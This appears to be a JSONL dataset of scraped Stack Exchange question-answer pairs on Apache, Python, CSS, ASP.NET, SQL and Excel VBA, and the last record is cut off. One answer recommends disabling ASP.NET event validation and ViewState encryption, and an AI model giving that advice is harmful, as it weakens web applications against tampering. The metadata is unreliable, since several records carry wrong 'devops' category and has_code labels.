{"id": "hf_b33b6d32a56e", "question": "<p>I just want my apache to register some of my predefined environment so that i can retrieve it using getenv function in php. How can i do this? I tried adding /etc/profile.d/foo.sh with export FOO=/bar/baz using root and restarted apache.</p>\n", "question_body": "", "answer": "Environment variables are inherited by processes in Unix. The files in /etc/profile.d are only executed (in the current shell, not in a subshell) when you log in. Just changing the value there and then restarting a process will not update the environment.\nPossible Fixes:\nlog out/log in, then start apache\nsource the file:\n```\n# . /etc/profile.d/foo.sh\n```\n, then restart apache\nsource the file in the apache init script\nYou also need to make sure that\n```\n/etc/profile.d/\n```\nis sourced when Apache is started by\n```\ninit\n```\nrather than yourself.\nThe best fix might also depend on the distribution you are using, because they use different schemes for configuration.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:42.947460"}
{"id": "hf_419fd597b8db", "question": "<p>What is the difference between the following class methods?</p>\n\n<p>Is it that one is static and the other is not?</p>\n\n<pre><code>class Test(object):\n  def method_one(self):\n    print \"Called method_one\"\n\n  def method_two():\n    print \"Called method_two\"\n\na_test = Test()\na_test.method_one()\na_test.method_two()\n</code></pre>\n", "question_body": "", "answer": "When you call a class member, Python automatically uses a reference to the object as the first parameter. The variable\n```\nself\n```\nactually means nothing, it's just a coding convention. You could call it\n```\ngargaloo\n```\nif you wanted. That said, the call to\n```\nmethod_two\n```\nwould raise a\n```\nTypeError\n```\n, because Python is automatically trying to pass a parameter (the reference to its parent object) to a method that was defined as having no parameters.\nTo actually make it work, you could append this to your class definition:\n```\n```\nmethod_two = staticmethod(method_two)\n```\n```\nor you could use the\n```\n@staticmethod\n```\nfunction decorator\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:42.996529"}
{"id": "hf_0bda65f545bb", "question": "<p>With the introduction of .NET 3.5 and the <code>IQueryable&lt;T&gt;</code> interface, new patterns will emerge. While I have seen a number of implementations of the Specification pattern, I have not seen many other patterns using this technology. Rob Conery's Storefront application is another concrete example using <code>IQueryable&lt;T&gt;</code> which may lead to some new patterns.</p>\n\n<p><strong>What patterns have emerged from the useful <code>IQueryable&lt;T&gt;</code> interface?</strong></p>\n", "question_body": "", "answer": "It has certainly made the repository pattern much simpler to implement as well. You can essentially create a generic repository:\n```\n```\npublic class LinqToSqlRepository : IRepository\n{\n   private readonly DataContext _context;\n\n   public LinqToSqlRepository(DataContext context)\n   {\n       _context = context;\n   }\n\n   public IQueryable<T> Find<T>()\n   {\n       return _dataContext.GetTable<T>(); // linq 2 sql\n   }\n\n   /** snip: Insert, Update etc.. **/\n}\n```\n```\nand then use it with linq:\n```\n```\nvar query = from customers in _repository.Find<Customer>() \n            select customers;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.020408"}
{"id": "hf_43ea992355b4", "question": "<p>I use pstack to analyze core dump files in Solaris</p>\n\n<p>How else can I analyze the core dump from solaris?</p>\n\n<p>What commands can be used to do this?</p>\n\n<p>What other information will be available from the dump? </p>\n", "question_body": "", "answer": "GDB can be used.\nIt can give the call that was attempted prior to the dump.\nhttp://sourceware.org/gdb/\nhttp://en.wikipedia.org/wiki/GDB\nHaving the source is great and if you can reproduce the errors even better as you can use this to debug it.\nWorked great for me in the past.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.056133"}
{"id": "hf_c8bb5c724157", "question": "<p>The second question is: When do I use what of these two?</p>\n", "question_body": "", "answer": "Managed C++ means that memory allocation, management, garbage collection is handled by the virtual machine. Whereas in \"regular\" C++ you would have to allocate and deallocate memory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.092550"}
{"id": "hf_aaa41178e516", "question": "<p>I am getting the following error whenever I click on a postbacking control</p>\n\n<pre><code>HttpException (0x80004005): Validation\nof viewstate  MAC failed. If this\napplication is hosted by a Web  Farm\nor cluster, ensure that  configuration\nspecifies the same validationKey and\nvalidation  algorithm. AutoGenerate\ncannot be used in a cluster.\n</code></pre>\n\n<p>I am not using a Web Farm or cluster server. I have even tried setting the page property <strong><em>EnableViewStateMac</em></strong> to false but it changes the error message stating</p>\n\n<pre><code>The state information is invalid for \nthis page and might be corrupted.\n</code></pre>\n\n<p>What could possibly be wrong?</p>\n", "question_body": "", "answer": "There is an article about this here:\nhttp://blogs.msdn.com/tom/archive/2008/03/14/validation-of-viewstate-mac-failed-error.aspx\n.\nThe basic problem is that Your page hasn't completed loading before You perform the postback.\nA few different solutions are in the article listed above: \n1. Set enableEventValidation to false and viewStateEncryptionMode to Never\n2. Mark the form as disabled and then enable it in script once the load is complete.\n3. override the Render Event of the page to place the hidden fields for Encrypted Viewstate and Event validation on the top of the form.\nBut the main problem is that the page load slow, which should be fixed (if possible ASAP). It can also be good to apply solution 2 above as well as there will always be trigger happy users that will click faster that the page loads no matter how fast it loads :-).\n/Andreas", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.142341"}
{"id": "hf_22c4a04758af", "question": "<p>I want to emulate the delete confirmation page behavior before saving \ncertain models in the admin.  In my case if I change one object, \ncertain others should be deleted as they depend upon the object's now \nout-of-date state. </p>\n\n<p>I understand where to implement the actual cascaded updates (inside \nthe parent model's save method), but I don't see a quick way to ask \nthe user for confirmation (and then rollback if they decide not to \nsave). I suppose I could implement some weird confirmation logic \ndirectly inside the save method (sort of a two phase save) but that \nseems...ugly. </p>\n\n<p>Any thoughts, even general pointers into the django codebase? </p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "I'm by no means a Django expert, so this answer might misguide you.\nStart looking somewhere around\n```\ndjango.contrib.admin.options.ModelAdmin\n```\n, especially\n```\nrender_change_form\n```\nand\n```\nresponse_change\n```\n. I guess you would need to subclass ModelAdmin for your model and provide required behavior around those methods.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.180321"}
{"id": "hf_ba798d1d69bf", "question": "<p>In my current project we are testing our ASP.NET GUI using <a href=\"http://watin.sourceforge.net/\" rel=\"nofollow noreferrer\">WatiN</a> and <a href=\"http://www.mbunit.com/\" rel=\"nofollow noreferrer\">Mbunit</a>.</p>\n\n<p>When I was writing the tests I realized that it would be great if we also could use all of these for stresstesting. Currently we are using <a href=\"http://grinder.sourceforge.net/\" rel=\"nofollow noreferrer\">Grinder</a> to stresstest but then we have to script our cases all over again which for many reasons isent that good.</p>\n\n<p>I have been trying to find a tool that can use my existing tests to create load on the site and record stats, but so far i have found noting. Is there such a tool or is there an easy way to create one?</p>\n", "question_body": "", "answer": "We have issues on our build server when running WatiN tests as it often throws timeouts trying to access the Internet Explorer COM component. It seems to hang randomly while waiting for the total page to load.\nGiven this, I would not recommend it for stress testing as the results will be inaccurate and the tests are likely to be slow.\nI would recommend\nJMeter\nfor making threaded calls to the HTTP requests that your GUI is making", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.229443"}
{"id": "hf_fff85c5745db", "question": "<p>It's very painful to add multiple tickets to Trac or to have it as your own todo list. That causes people to use their own task management tools so tasks are then spread all around.</p>\n\n<p>Is there any plugin or macro that would quicken the process of adding a ticket?</p>\n", "question_body": "", "answer": "If you're using Eclipse:\nMylyn\nis perfect.\nOtherwise you could always get the XML RPC plugin.\nhttp://trac-hacks.org/wiki/XmlRpcPlugin\nand roll your own little tool.\nFor quickly creating similar tickets, you could use the Clone plugin:\nhttp://trac-hacks.org/wiki/CloneTicketPlugin\nEdit\nAnd I second Espen's idea with the SVN\ncheckin hook\n, it works great for us, as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.277595"}
{"id": "hf_5b2d500df940", "question": "<p>I am currently building an internal web application used in a factory/warehouse type location. The users will be sharing a single PC between several people, so we need to have a fairly short session timeout to stop people wandering off and leaving the application logged in where someone else can come to the PC and do something under the previous user's username.</p>\n\n<p>The problem with this is a session can timeout while a user is currently entering information into a form, especially if they take a long time.</p>\n\n<p>How would you deal with this in a user friendly manner?</p>\n", "question_body": "", "answer": "The best advice would probably be to ask the users to close the browser window once they're done. With the use of session-cookies, the session will automatically end when the browser is closed or otherwise on a 30 minute timeout (can be changed afaik).\nSince there by default is no interaction between the browser and the server once a page is loaded, you would have to have a javascript contact the server in the background on forms-pages to refresh the session, but it seems a bit too much trouble for such a minor problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.302658"}
{"id": "hf_eeb3f4161e77", "question": "<p>Background: We have an old (but business-critical) SQL Server database with an MS Access ADP front-end; this was originally upsized to SQL Server from a series of Access databases.</p>\n\n<p>This database tracks hazardous materials for our customers, and stores a large number of images. These images are inserted from MS Access, and get put into the database as OLE Objects.</p>\n\n<p>The problems are:</p>\n\n<ul>\n<li>These are a pain to read out in anything except Access/Office</li>\n<li>There's a MASSIVE storage overhead - ~10GB of images takes up 600+ GB of storage space(!)</li>\n</ul>\n\n<p>My question is this: what way would you recommend to convert these bloated objects back into simple JPEGs? Once we do this we can finally migrate our front-end from Access and onto a simple web-based system, and our backup times will become manageable again!</p>\n", "question_body": "", "answer": "I think the reason your database becomes so bloated, is that the JPGs are also stored as bitmaps inside the \"OLE object\" structure, or so I've seen, depending on the method the JPEG was inserted.\nThis is not optimal, but: for every image in the database, I would programmatically create a dummy .doc containing just the image, then pass it through OpenOffice conversion, and extract the JPEG from the images subfolder of the produced OpenOffice document (which is a ZIP file).\nI would then replace the OLE documents in the database with the raw JPEG data, but then I have no way for you to plainly display them in a custom application (unless it's a web app).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.326578"}
{"id": "hf_20985cf0f967", "question": "<p>If I want to manipulate an HTML tag's properties on the server within an aspx page based on a master page i.e. </p>\n\n<pre><code>&lt;a href=\"#\" runat=\"server\" ID=\"myLink\"&gt;My Link&lt;/a&gt;\n</code></pre>\n\n<p>For example to give the link a different class depending on the current page i.e.</p>\n\n<pre><code>if (Path.GetFileName(Request.PhysicalPath) == \"MyPage\")\n{\nmyLink.Attributes.Add(\"class\",\"active\");\n}\n</code></pre>\n\n<p>.NET changes the ID property of the link to something like</p>\n\n<pre><code>&lt;a href=\"#\" ID=\"ct100-foo-myLink\"&gt;My Link&lt;/a&gt;\n</code></pre>\n\n<p>Is there any way of stopping this from happening and keeping the original ID?</p>\n\n<p>Thanks in advance</p>\n", "question_body": "", "answer": "I don't think so.\nHowever, you probably want to keep the original name so that you can manipulate the control with javascript.... if that's the case, you should look into ClientID; it will return the assigned ID at runtime.\nEDIT:\nIt looks like there is a way to do it, but with some work... take a look at\nASP.NET Controls - Improving automatic ID generation : Architectural Changes ( Part 3)\nI didn't read the full post, but it looks like he created his own container and own naming provider.  I think that if you wanted to leave your control's name untouched, you would just return the name back in\n```\n```\npublic abstract string SetControlID(string name, System.Web.UI.Control control);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.375144"}
{"id": "hf_a7d9c56f8e15", "question": "<p>After rebooting the Windows 2003 Server with the IIS I receive the follow error message:</p>\n\n<blockquote>\n  <p>Cannot connect to the configuration database</p>\n</blockquote>\n\n<p>in the browser. The error occur on different pages and with different clients. that I think it is a server problem.</p>\n\n<p>What can I do to solve this error?</p>\n", "question_body": "", "answer": "A quick web search suggests that this error message is probably coming from SharePoint Services, and indicates that SharePoint cannot connect to its database.\nThere seem to be several reasons suggested:\nThe SQL database is not running, has been removed, or you otherwise can't connect to it (firewall, login credentials, network failure)\nIIS is running in the wrong mode\nThe latter could be IIS 6.0 configured for IIS 5.0 compatibility mode, or the application pool configured for 32-bit worker processes on a 64-bit system.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.403402"}
{"id": "hf_af7cf3d78dfa", "question": "<p>I need to run JET templates on a EMF model metadata - i.e. the model itself (not data) is input to my JET template.</p>\n\n<p>More practically -  I want generate non java code, based on EMF templates.</p>\n\n<p>How I do it?</p>\n\n<p>Thank you</p>\n", "question_body": "", "answer": "I'm not sure I get you right, but you can pass your model just like any other object into the JET template (as described in the\nJET tutorial\n). Also, it makes no difference if you generate Java or any other text with JET. As an additional pointer, you might want to consider using Xpand (part of\nopenArchitectureWare\n) for very comfortable model to text generation (including things like content assist for your model in the template editor).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.427568"}
{"id": "hf_70fbe2478fd2", "question": "<p>I am trying to display a live word count in the vim statusline. I do this by setting my status line in my .vimrc and inserting a function into it. The idea of this function is to return the number of words in the current buffer. This number is then displayed on the status line. This should work nicely as the statusline is updated at just about every possible opportunity so the count will always remain 'live'. </p>\n\n<p>The problem is that the function I have currently defined is slow and so vim is obviously sluggish when it is used for all but the smallest files; due to this function being executed so frequently.</p>\n\n<p>In summary, does anyone have a clever trick for producing a function that is blazingly fast at calculating the number of words in the current buffer and returning the result?</p>\n", "question_body": "", "answer": "Keep a count for the current line and a separate count for the rest of the buffer.  As you type (or delete) words on the current line, update only that count, but display the sum of the current line count and the rest of the buffer count.\nWhen you change lines, add the current line count to the buffer count, count the words in the current line and a) set the current line count and b) subtract it from the buffer count.\nIt would also be wise to recount the buffer periodically (note that you don't have to count the whole buffer at once, since you know where editing is occurring).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.479052"}
{"id": "hf_9fa8a5ad7f5a", "question": "<p>If you want to create a custom attribute for MS test (say [Repeat(3)]\nhow would you do that?</p>\n", "question_body": "", "answer": "looking more, here is one possible place to start:\nPeli's blog\nI'm still looking for other good resources or examples.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.527653"}
{"id": "hf_97e3ae33e09f", "question": "<p>I know the range name of the start of a list - <code>1</code> column wide and <code>x</code> rows deep.</p>\n\n<p>How do I calculate <code>x</code>?</p>\n\n<p>There is more data in the column than just this list. However, this list is contiguous - there is nothing in any of the cells above or below or either side beside it.</p>\n", "question_body": "", "answer": "```\n```\nFunction ListRowCount(ByVal FirstCellName as String) as Long\n    With thisworkbook.Names(FirstCellName).RefersToRange\n        If isempty(.Offset(1,0).value) Then \n            ListRowCount = 1\n        Else\n            ListRowCount = .End(xlDown).row - .row + 1\n        End If\n    End With\nEnd Function\n```\n```\nBut if you are damn sure there's nothing around the list, then just\n```\nthisworkbook.Names(FirstCellName).RefersToRange.CurrentRegion.rows.count\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.552382"}
{"id": "hf_21190bded0ce", "question": "<p>I want to set a background image for a div, in a way that it is in the upper <strong>RIGHT</strong> of the div, but with a fixed <code>10px</code> distance from top and right.</p>\n\n<p>Here is how I would do that if wanted it in the upper <strong>LEFT</strong> of the div:</p>\n\n<pre>background: url(images/img06.gif) no-repeat 10px 10px;</pre>\n\n<p>Is there anyway to achieve the same result, but showing the background on the upper <strong>RIGHT</strong>?</p>\n", "question_body": "", "answer": "I don't know if it is possible in pure css, so you can try\n```\n```\nbackground: url(images/img06.gif) no-repeat top right;\n```\n```\nand modify your image to incorporate a 10px border on the top and right in a transparent color", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.577215"}
{"id": "hf_42eda95c5eec", "question": "<p>Eg. can I write something like this code:</p>\n\n<pre><code>public void InactiveCustomers(IEnumerable&lt;Guid&gt; customerIDs)\n{\n    //...\n    myAdoCommand.CommandText =\n        \"UPDATE Customer SET Active = 0 WHERE CustomerID in (@CustomerIDs)\";\n    myAdoCommand.Parameters[\"@CustomerIDs\"].Value = customerIDs;\n    //...\n}\n</code></pre>\n\n<p>The only way I know is to Join my IEnumerable and then use string concatenation to build my SQL string.</p>\n", "question_body": "", "answer": "Nope. Parameters are like SQL values in obeying\nfirst normal form\n, basically, there can only be one...\nAs you are probably aware, generating SQL strings is risky business: you leave yourself open to an\nSQL injection attack\n. As long as you're dealing with bona fide GUID's you should be fine, but otherwise you need to be sure to cleanse your input.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.601699"}
{"id": "hf_1536d600b3e9", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/336859/javascript-var-functionname-function-vs-function-functionname\">JavaScript: var functionName = function() {} vs function functionName() {}</a>  </p>\n</blockquote>\n\n\n\n<p>What's the difference between:</p>\n\n<pre><code>function sum(x, y) {\n  return x+y;\n}\n\n// and \n\nvar sum = function (x, y) {\n    return x+y;\n}\n</code></pre>\n\n<p>Why is one used over the other?</p>\n", "question_body": "", "answer": "The first one is a named function statement, the second one assigns an anonymous function expression to a variable.\nThe function statement is added to its scope immediately - you don't need to run it before being able to call it, so this works:\n```\n```\nvar y = sum(1, 2);\n\nfunction sum(x, y) {\n   return x + y;\n}\n```\n```\nBut the function expression is only assigned to the variable when the code is executed, so this doesn't work:\n```\n```\n// Error here because the function hasn't been assigned to sum yet.\nvar y = sum(1, 2);\n\nvar sum = function(x, y) {\n   return x + y;\n}\n```\n```\nAn advantage of the expression form is that you can use it to assign different functions to the expression at different points - so you can change the function, or use a different one under different conditions (such as depending on the browser being used).\nAn advantage of a named function statement, is that debuggers will be able to display the name. Although, you can name function expressions:\n```\n```\nvar sum = function sum(x, y) {\n   return x + y;\n}\n```\n```\nBut this can be confusing since the two names are actually in different scopes and refer to different things.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.646100"}
{"id": "hf_16951ba746dd", "question": "<p>How can I horizontally center a <code>&lt;div&gt;</code> within another <code>&lt;div&gt;</code> using CSS?</p>\n<pre class=\"lang-html prettyprint-override\"><code>&lt;div id=&quot;outer&quot;&gt;\n  &lt;div id=&quot;inner&quot;&gt;Foo foo&lt;/div&gt;\n&lt;/div&gt;\n</code></pre>\n\n", "question_body": "", "answer": "You can apply this CSS to the inner\n```\n<div>\n```\n:\n```\n```\n#inner {\n  width: 50%;\n  margin: 0 auto;\n}\n```\n```\nOf course, you don't have to set the\n```\nwidth\n```\nto\n```\n50%\n```\n. Any width less than the containing\n```\n<div>\n```\nwill work. The\n```\nmargin: 0 auto\n```\nis what does the actual centering.\nIf you are targeting\nInternet Explorer 8\n(and later), it might be better to have this instead:\n```\n```\n#inner {\n  display: table;\n  margin: 0 auto;\n}\n```\n```\nIt will make the inner element center horizontally and it works without setting a specific\n```\nwidth\n```\n.\nWorking example here:\n```\n```\n#inner {\n  display: table;\n  margin: 0 auto;\n  border: 1px solid black;\n}\n\n#outer {\n  border: 1px solid red;\n  width:100%\n}\n```\n```\n```\n```\n<div id=\"outer\">\n  <div id=\"inner\">Foo foo</div>\n</div>\n```\n```\nEDIT\nWith\n```\nflexbox\n```\nit is very easy to style the div horizontally and vertically centered.\n```\n```\n#inner {  \n  border: 0.05em solid black;\n}\n\n#outer {\n  border: 0.05em solid red;\n  width:100%;\n  display: flex;\n  justify-content: center;\n}\n```\n```\n```\n```\n<div id=\"outer\">\n  <div id=\"inner\">Foo foo</div>\n</div>\n```\n```\nTo align the div vertically centered, use the property\n```\nalign-items: center\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.715388"}
{"id": "hf_7a42dd02bfa7", "question": "<p>I'm fairly new to the world of versioning but would like to introduce Subversion into our small development team as we're finding that more and more we are working on the same projects/files. We primarily code in <code>PHP</code> on a <code>LAMP</code> environment (Red Hat Enterprise).</p>\n\n<p>What I'm looking for are some starting points to get me up and running such as installation/configuration guides for Red Hat. I use Dreamweaver <code>CS3</code> (I see that Subversion functions will be introduced in <code>CS4</code>) so would be willing to look at other PHP IDEs with Subversion integration, do you have any preferences? I'm open to suggestions.</p>\n", "question_body": "", "answer": "It depends on what version of RHEL you are running.  Setting up Subversion in general is very easy you just have to install the binaries and run svnserve or adapt the Apache configuration.\nGet it:\nhttp://subversion.tigris.org/getting.html\nInstall it\n```\nsvnadmin create --fs-type=fsfs\n```\nAfter that you have a repository which you can serve via apache or svnserve.  I can recommend Apache because it scales better, is easier to maintain and allows you to access the repository via DAV.\nExample configurations are here:\nhttp://svnbook.red-bean.com/en/1.0/ch06s04.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.744772"}
{"id": "hf_15e50cb6524c", "question": "<p>What is the smartest way to design a math parser? What I mean is a function that takes a math string (like: \"2 + 3 / 2 + (2 * 5)\") and returns the calculated value? I did write one in VB6 ages ago but it ended up being way to bloated and not very portable (or smart for that matter...). General ideas, psuedo code or real code is appreciated. </p>\n", "question_body": "", "answer": "A pretty good approach would involve two steps. The first step involves\nconverting the expression from infix to postfix\n(e.g. via\nDijkstra's shunting yard\n) notation. Once that's done, it's pretty trivial to write a\npostfix evaluator\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.796902"}
{"id": "hf_02d640c1940e", "question": "<p>I'm a bit lost here and I can't find much documentation.</p>\n", "question_body": "", "answer": ".NET workflows or ones created using SharePoint designer?\nI've only got latter experience and they aren't really easy to debug, you really just have to do them 1 step at a time and test up to each step.\nYou can view the workflow state as well in SharePoint when you go to the List Settings (sorry I don't have a WSS machine to look at currently).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.847703"}
{"id": "hf_53697205c514", "question": "<p>I'm using ReportViewer WinForms, and since it is no easy way to create an coversheet, then I wonder, is it possible to render two reports and have them concatenated?, so they appear as one report?</p>\n\n<p>If I was to print only, then I could execute two reports after each other, but since the user want to see the report before printing (you know, no environment waste here) then they have to appear in the same viewer.</p>\n\n<p>OR, is there other ways of creating coversheets?\nToday I use an subreport, but there are some issues with margins etc. which is not easy to fix.</p>\n\n<blockquote>\n  <p>To clarify, we are talking about\n  ReportViewer using RDLC files, no\n  Crystal Reports involved.</p>\n</blockquote>\n", "question_body": "", "answer": "I've created a report that sounds like what you are attempting to do...first to clarify, I'm going to guess your using Crystal Reports within VS2005/2008.\nIf that's the case, all you need to do in the main report is create an additional section after your section that contains the \"Cover Sheet\" layout/data. In the section expert for the \"Cover Sheet\" section (in layout view, right click on section header bar, pick section expert in pop up menu..), check off the \"New Page After\" option.\nEdit: After your update, I see you are using RDLC reports, and from my limited exposure to those, I can't recall an easy way to get to where you want to be. Though I'm pretty sure you may be able to pass multiple reports to the same report viewer in code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.924167"}
{"id": "hf_7f0b5f7ea023", "question": "<p>I need to present the user with a matrix of which one column is editable. What is the most appropriate control to use?</p>\n\n<p>I can't use a ListView because you can only edit the first column (the label) and that's no good to me.</p>\n\n<p>Is the DataGridView the way to go, or are there third party alternative components that do a better job?</p>\n", "question_body": "", "answer": "DataGridView is the best choice as it is free and comes with .NET WinForms 2.0. You can define editable columns or read-only. Plus you can customize the appearance if required.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:43.986267"}
{"id": "hf_c4433deb60d5", "question": "<p>One of my DBs have grown closer to permitted size.</p>\n\n<p>Inorder to find out the table containing the max data, i used the following query:</p>\n\n<pre><code>exec sp_MSforeachtable @command1=\"print '?' exec sp_spaceused '?'\"\n</code></pre>\n\n<p>It returned the culprit table comprising the max data.</p>\n\n<p>As a next step, i want to cleanup the rows based on the size. For this, i would like to order the rows based on size.</p>\n\n<p>How to achieve this using a query? Are there any tools to do this?</p>\n", "question_body": "", "answer": "An easier approach for all table sizes is to use the stored procedure at\nthis site\n.\nYou could alter the select statement of that stored procedure to:\n```\n```\nSELECT * \nFROM #TempTable\nOrder by dataSize desc\n```\n```\nto have it ordered by size.\nHow do you want to cleanup? Cleanup the biggest row of a specific table? Not sure I understand the question.\nEDIT\n(response to comment)\nAssuming your eventlog has the same layout as mine (DNN eventlog):\n```\n```\nSELECT     LEN(CONVERT(nvarchar(MAX), LogProperties)) AS length\nFROM         EventLog\nORDER BY length DESC\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:44.025433"}
{"id": "hf_265d3ec3ce41", "question": "<p>Consider these classes.</p>\n\n<pre><code>class Base\n{\n   ...\n};\n\nclass Derived : public Base\n{\n   ...\n};\n</code></pre>\n\n<p>this function</p>\n\n<pre><code>void BaseFoo( std::vector&lt;Base*&gt;vec )\n{\n    ...\n}\n</code></pre>\n\n<p>And finally my vector</p>\n\n<pre><code>std::vector&lt;Derived*&gt;derived;\n</code></pre>\n\n<p>I want to pass <code>derived</code> to function <code>BaseFoo</code>, but the compiler doesn't let me. How do I solve this, without copying the whole vector to a <code>std::vector&lt;Base*&gt;</code>?</p>\n", "question_body": "", "answer": "one option is to use a template\n```\n```\ntemplate<typename T>\nvoid BaseFoo( const std::vector<T*>& vec)\n{\n ...\n}\n```\n```\nThe drawback is that the implementation has to be in the header and you will get a little code bloat. You will wind up with different functions being instantiated for each type, but the code stays the same. Depending on the use case it's a quick and dirty solution.\nEdit, I should note the reason we need a template here is because we are trying to write the same code for unrelated types as noted by several other posters. Templates allow you do solve these exact problems. I also updated it to use a const reference. You should also pass \"heavy\" objects like a vector by const reference when you don't need a copy, which is basically always.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 